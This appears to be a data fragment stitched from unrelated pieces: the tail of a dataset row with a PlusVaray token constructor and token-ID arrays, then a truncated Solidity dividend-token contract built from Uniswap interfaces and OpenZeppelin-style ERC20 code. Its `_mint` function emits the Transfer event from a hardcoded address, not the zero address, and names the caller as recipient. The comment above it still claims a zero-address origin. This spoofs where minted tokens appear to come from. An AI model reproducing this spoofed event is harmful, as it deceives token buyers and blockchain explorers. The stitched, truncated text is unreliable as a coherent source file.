balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | * Constrctor function Initializes contract with initial supply tokens to the creator of the contract/ | constructor() public {
name = "PlusVaray";
symbol = "PVY";
decimals = 18;
_totalSupply = 8000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
| 10,684,734 | [
1,
442,
701,
30206,
445,
10188,
3128,
6835,
598,
2172,
14467,
2430,
358,
326,
11784,
434,
326,
6835,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
1435,
1071,
288,
203,
3639,
508,
273,
315,
13207,
1537,
528,
14432,
203,
3639,
3273,
273,
315,
30201,
61,
14432,
203,
3639,
15105,
273,
6549,
31,
203,
3639,
389,
4963,
3088,
1283,
273,
1725,
12648,
12648,
11706,
31,
203,
540,
203,
3639,
324,
26488,
63,
3576,
18,
15330,
65,
273,
389,
4963,
3088,
1283,
31,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
1234,
18,
15330,
16,
389,
4963,
3088,
1283,
1769,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-07-21
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library IterableMapping {
// Iterable mapping from address to uint;
struct Map {
address[] keys;
mapping(address => uint) values;
mapping(address => uint) indexOf;
mapping(address => bool) inserted;
}
function get(Map storage map, address key) public view returns (uint) {
return map.values[key];
}
function getIndexOfKey(Map storage map, address key) public view returns (int) {
if(!map.inserted[key]) {
return -1;
}
return int(map.indexOf[key]);
}
function getKeyAtIndex(Map storage map, uint index) public view returns (address) {
return map.keys[index];
}
function size(Map storage map) public view returns (uint) {
return map.keys.length;
}
function set(Map storage map, address key, uint val) public {
if (map.inserted[key]) {
map.values[key] = val;
} else {
map.inserted[key] = true;
map.values[key] = val;
map.indexOf[key] = map.keys.length;
map.keys.push(key);
}
}
function remove(Map storage map, address key) public {
if (!map.inserted[key]) {
return;
}
delete map.inserted[key];
delete map.values[key];
uint index = map.indexOf[key];
uint lastIndex = map.keys.length - 1;
address lastKey = map.keys[lastIndex];
map.indexOf[lastKey] = index;
delete map.indexOf[key];
map.keys[index] = lastKey;
map.keys.pop();
}
}
/// @title Dividend-Paying Token Optional Interface
/// @author Roger Wu (https://github.com/roger-wu)
/// @dev OPTIONAL functions for a dividend-paying token contract.
interface DividendPayingTokenOptionalInterface {
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function withdrawableDividendOf(address _owner) external view returns(uint256);
/// @notice View the amount of dividend in wei that an address has withdrawn.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has withdrawn.
function withdrawnDividendOf(address _owner) external view returns(uint256);
/// @notice View the amount of dividend in wei that an address has earned in total.
/// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner)
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has earned in total.
function accumulativeDividendOf(address _owner) external view returns(uint256);
}
/// @title Dividend-Paying Token Interface
/// @author Roger Wu (https://github.com/roger-wu)
/// @dev An interface for a dividend-paying token contract.
interface DividendPayingTokenInterface {
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function dividendOf(address _owner) external view returns(uint256);
/// @notice Distributes ether to token holders as dividends.
/// @dev SHOULD distribute the paid ether to token holders as dividends.
/// SHOULD NOT directly transfer ether to token holders in this function.
/// MUST emit a `DividendsDistributed` event when the amount of distributed ether is greater than 0.
function distributeDividends() external payable;
/// @notice Withdraws the ether distributed to the sender.
/// @dev SHOULD transfer `dividendOf(msg.sender)` wei to `msg.sender`, and `dividendOf(msg.sender)` SHOULD be 0 after the transfer.
/// MUST emit a `DividendWithdrawn` event if the amount of ether transferred is greater than 0.
function withdrawDividend() external;
/// @dev This event MUST emit when ether is distributed to token holders.
/// @param from The address which sends ether to this contract.
/// @param weiAmount The amount of distributed ether in wei.
event DividendsDistributed(
address indexed from,
uint256 weiAmount
);
/// @dev This event MUST emit when an address withdraws their dividend.
/// @param to The address which withdraws ether from this contract.
/// @param weiAmount The amount of withdrawn ether in wei.
event DividendWithdrawn(
address indexed to,
uint256 weiAmount
);
}
/*
MIT License
Copyright (c) 2018 requestnetwork
Copyright (c) 2018 Fragments, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
/**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
// File: contracts/SafeMathUint.sol
/**
* @title SafeMathUint
* @dev Math operations with safety checks that revert on error
*/
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
// File: contracts/SafeMath.sol
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0xB61a59c10DE7FbA8E3Bd3976414a5235973Daccf), _msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: contracts/DividendPayingToken.sol
/// @title Dividend-Paying Token
/// @author Roger Wu (https://github.com/roger-wu)
/// @dev An ERC20 token that allows anyone to pay and distribute ether
contract DividendPayingToken is ERC20, DividendPayingTokenInterface, DividendPayingTokenOptionalInterface {
using SafeMath for uint256;
using SafeMathUint for uint256;
using SafeMathInt for int256;
// With `magnitude`, we can properly distribute dividends even if the amount of received ether is small.
// For more discussion about choosing the value of `magnitude`,
// see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728
uint256 constant internal magnitude = 2**128;
uint256 internal magnifiedDividendPerShare;
// About dividendCorrection:
// If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with:
